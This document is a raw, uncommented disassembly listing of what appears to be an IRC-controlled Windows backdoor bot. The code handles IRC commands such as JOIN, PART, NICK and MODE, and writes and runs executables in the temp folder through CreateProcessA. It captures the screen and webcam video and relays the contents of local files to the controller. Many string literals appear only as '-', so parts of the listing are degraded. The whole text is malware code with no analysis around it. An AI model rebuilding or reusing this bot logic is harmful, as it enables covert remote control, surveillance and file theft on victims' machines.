call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset asc_42A70C ; "-"
loc_4083AE: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4083BD: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D03
; ---------------------------------------------------------------------------
loc_4083C5: ; CODE XREF: sub_401ACD+4AFAj
; sub_401ACD+4B11j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+Source] ; Str
mov [ebp+var_63C], esi
call _atoi
add esp, 10h
cmp eax, esi
jnz short loc_408404
mov [ebp+var_638], 5
loc_408404: ; CODE XREF: sub_401ACD+692Cj
cmp [ebp+var_C], ebx
jz loc_406CDF
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDF
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_42706C ; CreateProcessA
test eax, eax
jnz short loc_40844D
push offset unk_42A6E8
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40844D: ; CODE XREF: sub_401ACD+6974j
push edi
push offset dword_42A6CC
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_408458: ; CODE XREF: sub_401ACD+4ACCj
; sub_401ACD+4AE3j
push edi ; Str2
push offset aQsfposs ; "qsfposs"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4085D1
lea eax, [ebp+var_48F0]
push eax
push 104h
call ds:dword_4270B0 ; GetTempPathA
push 0FFh ; Count
lea eax, [ebp+var_25D0]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_17D0]
push eax
call sub_40AD81
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax ; Dest
call _sprintf
mov eax, [ebp+esi+Str2]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084ED
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F3
; ---------------------------------------------------------------------------
loc_4084ED: ; CODE XREF: sub_401ACD+6A0Aj
mov [ebp+var_23C0], ebx
loc_4084F3: ; CODE XREF: sub_401ACD+6A1Ej
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40850A
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_408510
; ---------------------------------------------------------------------------
loc_40850A: ; CODE XREF: sub_401ACD+6A2Cj
mov [ebp+var_23C4], ebx
loc_408510: ; CODE XREF: sub_401ACD+6A3Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+Source]
mov [ebp+var_23B8], eax
lea eax, [ebp+Dst]
push offset asc_42A694 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 1Eh ; int
push eax ; Source
call sub_40B0F7
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset sub_4163FA
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4085C0
loc_4085AA: ; CODE XREF: sub_401ACD+6AF1j
cmp [ebp+var_23B0], ebx
jnz loc_406CDF
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4085AA
; ---------------------------------------------------------------------------
loc_4085C0: ; CODE XREF: sub_401ACD+6ADBj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42A658
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4085D1: ; CODE XREF: sub_401ACD+699Aj
push offset asc_42A610 ; "-"
loc_4085D6: ; CODE XREF: sub_401ACD+2E74j
; sub_401ACD+457Dj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_406CDF
; ---------------------------------------------------------------------------
loc_4085E9: ; CODE XREF: sub_401ACD+4A9Ej
; sub_401ACD+4AB5j
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
pop ecx
push eax
lea eax, [ebp+Dst]
push [ebp+Format]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push [ebp+Source] ; Str
call _atoi
add esp, 28h
test eax, eax
jle short loc_408674
push [ebp+Source] ; Str
call _atoi
imul eax, 3E8h
pop ecx
push eax
call ds:dword_427078 ; Sleep
loc_408674: ; CODE XREF: sub_401ACD+6B8Fj
push offset dword_42A5EC
call sub_4151AD
mov eax, [ebp+File]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408688: ; CODE XREF: sub_401ACD+4A70j
; sub_401ACD+4A87j
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409855
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
inc edi
push offset aRepeat ; "repeat"
push edi ; Str1
mov esi, eax
call _strcmp
add esp, 10h
test eax, eax
push esi
jz short loc_408746
push [ebp+Format]
lea eax, [ebp+Dst]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
add esp, 24h
lea eax, [ebp+Dst]
push esi
push offset asc_42A5D4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push [ebp+Source] ; Str
call _atoi
add esp, 14h
test eax, eax
jle loc_409855
push [ebp+Source] ; Str
call _atoi
add eax, [ebp+File]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408746: ; CODE XREF: sub_401ACD+6BFBj
push offset asc_42A5A0 ; "-"
loc_40874B: ; CODE XREF: sub_401ACD+7543j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40875A: ; CODE XREF: sub_401ACD+74CBj
; sub_401ACD+7624j
cmp [ebp+var_8], ebx
jnz short loc_40877B
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_40877B: ; CODE XREF: sub_401ACD+6C90j
; sub_401ACD+72C8j ...
lea eax, [ebp+Dst]
push eax
call sub_4151AD
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40878C: ; CODE XREF: sub_401ACD+4A42j
; sub_401ACD+4A59j
push 7Fh ; Count
lea eax, [ebp+var_2214]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2194]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2114]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+Source]
mov [ebp+var_208C], eax
lea eax, [ebp+Dst]
mov [ebp+var_2218], esi
push offset asc_42A56C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Fh ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset sub_4143CC
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40884C
loc_40883A: ; CODE XREF: sub_401ACD+6D7Dj
cmp [ebp+var_2088], ebx
jnz short loc_408867
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40883A
; ---------------------------------------------------------------------------
loc_40884C: ; CODE XREF: sub_401ACD+6D6Bj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset asc_42A530 ; "-"
loc_408858: ; CODE XREF: sub_401ACD+6E8Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408867: ; CODE XREF: sub_401ACD+6D73j
; sub_401ACD+6E6Ej
cmp [ebp+var_8], ebx
jnz loc_409631
push ebx
lea eax, [ebp+Dst]
push [ebp+var_4]
push eax
push [ebp+Format]
push esi
jmp loc_409629
; ---------------------------------------------------------------------------
loc_408887: ; CODE XREF: sub_401ACD+4A14j
; sub_401ACD+4A2Bj
push 7Fh ; Count
lea eax, [ebp+var_23A8]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2328]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_22A8]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+Source]
mov [ebp+var_2220], eax
lea eax, [ebp+Dst]
mov [ebp+var_23AC], esi
push offset asc_42A504 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 11h ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset sub_413B78
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40894B
loc_408935: ; CODE XREF: sub_401ACD+6E7Cj
cmp [ebp+var_221C], ebx
jnz loc_408867
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_408935
; ---------------------------------------------------------------------------
loc_40894B: ; CODE XREF: sub_401ACD+6E66j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42A4C8
jmp loc_408858
; ---------------------------------------------------------------------------
loc_40895C: ; CODE XREF: sub_401ACD+49E6j
; sub_401ACD+49FDj
push edi
lea eax, [ebp+Dst]
push offset aPartS_0 ; "PART %s"
push eax ; Dest
call _sprintf
push [ebp+Source] ; Str
call _atoi
add esp, 10h
loc_408979: ; CODE XREF: sub_401ACD+6F17j
test eax, eax
jle loc_409855
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
loc_408995: ; CODE XREF: sub_401ACD+7A56j
lea eax, [ebp+Dst]
push eax ; Args
push offset aS ; "%s\r\n"
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A2D
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4089C0: ; CODE XREF: sub_401ACD+49B8j
; sub_401ACD+49CFj
push [ebp+esi+Str2]
lea eax, [ebp+Dst]
push edi
push offset aJoinSS_0 ; "JOIN %s %s"
push eax ; Dest
call _sprintf
push [ebp+Source] ; Str
call _atoi
add esp, 14h
jmp short loc_408979
; ---------------------------------------------------------------------------
loc_4089E6: ; CODE XREF: sub_401ACD+498Aj
; sub_401ACD+49A1j
push edi
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
mov esi, [ebp+Source]
push esi ; Str
call _atoi
add esp, 10h
test eax, eax
jle loc_409855
push esi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
lea eax, [ebp+Dst]
push eax ; Args
push offset aS ; "%s\r\n"
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A2D
add esp, 0Ch
push edi
push esi ; Args
push offset dword_42A490 ; Format
loc_408A4C: ; CODE XREF: sub_401ACD+700Aj
; sub_401ACD+7079j ...
call sub_415221
jmp loc_404934
; ---------------------------------------------------------------------------
loc_408A56: ; CODE XREF: sub_401ACD+495Cj
; sub_401ACD+4973j
cmp [ebp+var_C], ebx
jz loc_409855
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A85
push esi
lea eax, [ebp+Dst]
push offset aModeS ; "MODE %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408A85: ; CODE XREF: sub_401ACD+6FA1j
mov edi, [ebp+Source]
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409855
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
lea eax, [ebp+Dst]
push eax ; Args
push offset aS ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A2D
add esp, 0Ch
push esi
push edi
push offset dword_42A46C
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408ADC: ; CODE XREF: sub_401ACD+492Ej
; sub_401ACD+4945j
cmp [ebp+var_C], ebx
jz loc_409855
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
mov edi, [ebp+Source]
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409855
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
push esi ; Args
push offset aS ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A2D
add esp, 0Ch
push esi
push edi
push offset dword_42A450
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408B4B: ; CODE XREF: sub_401ACD+4900j
; sub_401ACD+4917j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push esi ; Args
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push esi
push offset unk_42A428
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_408B87: ; CODE XREF: sub_401ACD+48D2j
; sub_401ACD+48E9j
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
push [ebp+Source] ; Str
call _atoi
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_427078 ; Sleep
push [ebp+esi+Str2]
push edi ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
push offset dword_42A408
call sub_4151AD
jmp loc_403520
; ---------------------------------------------------------------------------
loc_408BEB: ; CODE XREF: sub_401ACD+48A4j
; sub_401ACD+48BBj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+Source] ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push edi ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409855
push esi
lea eax, [ebp+Dst]
push offset dword_42AB3C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push [ebp+Source] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 20h
push esi
push [ebp+Source]
push offset unk_42A3EC
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408C58: ; CODE XREF: sub_401ACD+4876j
; sub_401ACD+488Dj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+Source] ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push edi ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409855
push ebx ; int
push ebx ; int
push esi ; int
push [ebp+Source] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
push esi
push [ebp+Source]
push offset unk_42A3CC
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408CAD: ; CODE XREF: sub_401ACD+4848j
; sub_401ACD+485Fj
cmp [ebp+var_C], ebx
jz loc_401E94
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax ; int
push [ebp+Source] ; Str2
call sub_4150B5
pop ecx
pop ecx
push [ebp+Source]
push offset asc_42A3AC ; "-"
loc_408CDC: ; CODE XREF: sub_401ACD+5853j
; sub_401ACD+7B2Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_409610
; ---------------------------------------------------------------------------
loc_408CF0: ; CODE XREF: sub_401ACD+481Aj
; sub_401ACD+4831j
push edi ; int
push [ebp+Source] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_4184E2
jmp loc_4040FD
; ---------------------------------------------------------------------------
loc_408D0A: ; CODE XREF: sub_401ACD+47DCj
; sub_401ACD+47F1j
push [ebp+Source] ; SubStr
push [ebp+arg_1C] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz loc_409855
mov esi, [ebp+esi+Format]
cmp esi, ebx
jz loc_408DB2
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D9A
push esi
lea eax, [ebp+Dst]
push [ebp+Format]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
add esp, 24h
lea eax, [ebp+Dst]
push esi
push [ebp+Source]
push offset asc_42A384 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
inc [ebp+File]
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408D9A: ; CODE XREF: sub_401ACD+7270j
lea eax, [ebp+Dst]
push offset asc_42A354 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408DB2: ; CODE XREF: sub_401ACD+725Bj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF7
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
lea eax, [ebp+Dst]
push [ebp+Source]
push offset asc_42A338 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408DFE: ; CODE XREF: sub_401ACD+47B2j
; sub_401ACD+47C7j
push offset aScreen ; "screen"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_408E59
mov edi, [ebp+esi+Format]
cmp edi, ebx
jz short loc_408E46
push edi
call sub_4153BD
cmp eax, 1
pop ecx
jnz short loc_408E3F
push edi
lea eax, [ebp+Dst]
push offset asc_42A304 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_408E59
; ---------------------------------------------------------------------------
loc_408E3F: ; CODE XREF: sub_401ACD+7359j
push offset unk_42A2D4
jmp short loc_408E4B
; ---------------------------------------------------------------------------
loc_408E46: ; CODE XREF: sub_401ACD+734Dj
push offset asc_42A298 ; "-"
loc_408E4B: ; CODE XREF: sub_401ACD+7377j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_408E59: ; CODE XREF: sub_401ACD+7342j
; sub_401ACD+7370j
push offset aDrivers ; "drivers"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE6
xor edi, edi
loc_408E6E: ; CODE XREF: sub_401ACD+7404j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CB684
test eax, eax
jz short loc_408ECD
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset asc_42A268 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_5D88]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 28h
loc_408ECD: ; CODE XREF: sub_401ACD+73C2j
inc edi
cmp edi, 0Ah
jl short loc_408E6E
lea eax, [ebp+Dst]
push offset asc_42A240 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_408EE6: ; CODE XREF: sub_401ACD+739Dj
push offset aFrame ; "frame"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_408F87
cmp [ebp+esi+Format], ebx
jz short loc_408F74
cmp [ebp+esi+Str2], ebx
jz short loc_408F74
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F74
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F74
push eax ; Str
call _atoi
pop ecx
push eax ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Str2] ; Str
call _atoi
pop ecx
push eax ; Size
push [ebp+esi+Format] ; int
call sub_4155F8
add esp, 10h
test eax, eax
jnz short loc_408F6D
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset asc_42A20C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_408F87
; ---------------------------------------------------------------------------
loc_408F6D: ; CODE XREF: sub_401ACD+7481j
push offset unk_42A1D8
jmp short loc_408F79
; ---------------------------------------------------------------------------
loc_408F74: ; CODE XREF: sub_401ACD+7437j
; sub_401ACD+7440j ...
push offset asc_42A1A0 ; "-"
loc_408F79: ; CODE XREF: sub_401ACD+74A5j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_408F87: ; CODE XREF: sub_401ACD+742Aj
; sub_401ACD+749Ej
push offset aVideo ; "video"
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40875A
mov eax, [ebp+esi+Format]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901F
mov eax, [ebp+esi+Str2]
cmp eax, ebx
mov [ebp+Src], eax
jz short loc_40901F
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901F
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901F
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901F
push esi ; Str
call _atoi
pop ecx
push eax ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+arg_18] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+Src] ; Str
call _atoi
pop ecx
push eax ; Size
push [ebp+arg_1C] ; int
call sub_4157F1
add esp, 14h
test eax, eax
jnz short loc_409015
push [ebp+arg_1C]
push offset unk_42A16C
jmp loc_40874B
; ---------------------------------------------------------------------------
loc_409015: ; CODE XREF: sub_401ACD+7539j
push offset unk_42A12C
jmp loc_4090E3
; ---------------------------------------------------------------------------
loc_40901F: ; CODE XREF: sub_401ACD+74DDj
; sub_401ACD+74EBj ...
push offset unk_42A0EC
jmp loc_4090E3
; ---------------------------------------------------------------------------
loc_409029: ; CODE XREF: sub_401ACD+4042j
; sub_401ACD+4057j
push offset aR ; "r"
push [ebp+Source] ; Filename
call _fopen
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409099
mov esi, 200h
push edi ; File
lea eax, [ebp+Dst]
push esi ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
loc_409054: ; CODE XREF: sub_401ACD+75B6j
test eax, eax
jz short loc_409085
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
push edi ; File
lea eax, [ebp+Dst]
push esi ; MaxCount
push eax ; Buf
call _fgets
add esp, 20h
jmp short loc_409054
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+7589j
push edi ; File
call _fclose
pop ecx
push [ebp+Source]
push offset unk_42A0C8
jmp loc_409227
; ---------------------------------------------------------------------------
loc_409099: ; CODE XREF: sub_401ACD+756Fj
push [ebp+Source]
push offset unk_42A0A4
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4090A6: ; CODE XREF: sub_401ACD+4018j
; sub_401ACD+402Dj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push offset asc_42A0A0 ; "\n"
push esi ; Dest
call _strcat
push esi ; Str
call sub_419A51
add esp, 0Ch
test eax, eax
jnz short loc_4090F6
push offset asc_42A074 ; "-"
loc_4090E3: ; CODE XREF: sub_401ACD+754Dj
; sub_401ACD+7557j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40875A
; ---------------------------------------------------------------------------
loc_4090F6: ; CODE XREF: sub_401ACD+760Fj
push esi
lea eax, [ebp+Dst]
push offset asc_42A05C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_409110: ; CODE XREF: sub_401ACD+3FEEj
; sub_401ACD+4003j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_409855
push eax ; Format
call sub_418212
test eax, eax
pop ecx
jnz short loc_409140
push offset unk_42A03C
jmp short loc_4090E3
; ---------------------------------------------------------------------------
loc_409140: ; CODE XREF: sub_401ACD+766Aj
push offset dword_42A020
jmp short loc_4090E3
; ---------------------------------------------------------------------------
loc_409147: ; CODE XREF: sub_401ACD+3FC4j
; sub_401ACD+3FD9j
push 7Fh ; Count
lea eax, [ebp+var_2080]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+Format]
add esp, 0Ch
cmp esi, ebx
jz short loc_409178
push 7Fh ; Count
lea eax, [ebp+var_2000]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_409178: ; CODE XREF: sub_401ACD+7697j
push 7Fh ; Count
lea eax, [ebp+var_1F80]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+Source]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+Dst]
push offset asc_42A008 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ch ; int
push eax ; Source
call sub_40B0F7
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB6
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40921B
loc_409205: ; CODE XREF: sub_401ACD+774Cj
cmp [ebp+var_1EF4], ebx
jnz loc_406D00
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_409205
; ---------------------------------------------------------------------------
loc_40921B: ; CODE XREF: sub_401ACD+7736j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset asc_429FC8 ; "-"
loc_409227: ; CODE XREF: sub_401ACD+29CFj
; sub_401ACD+75C7j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_406D00
; ---------------------------------------------------------------------------
loc_40923B: ; CODE XREF: sub_401ACD+3F9Aj
; sub_401ACD+3FAFj
push ebx ; Source
push [ebp+Format] ; int
push [ebp+arg_4] ; int
push [ebp+Source] ; Str
call sub_40F96B
add esp, 10h
push [ebp+Source]
push offset dword_429FB0
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_40925D: ; CODE XREF: sub_401ACD+3F70j
; sub_401ACD+3F85j
push 14h ; Size
lea eax, [ebp+var_1D48]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+Source]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
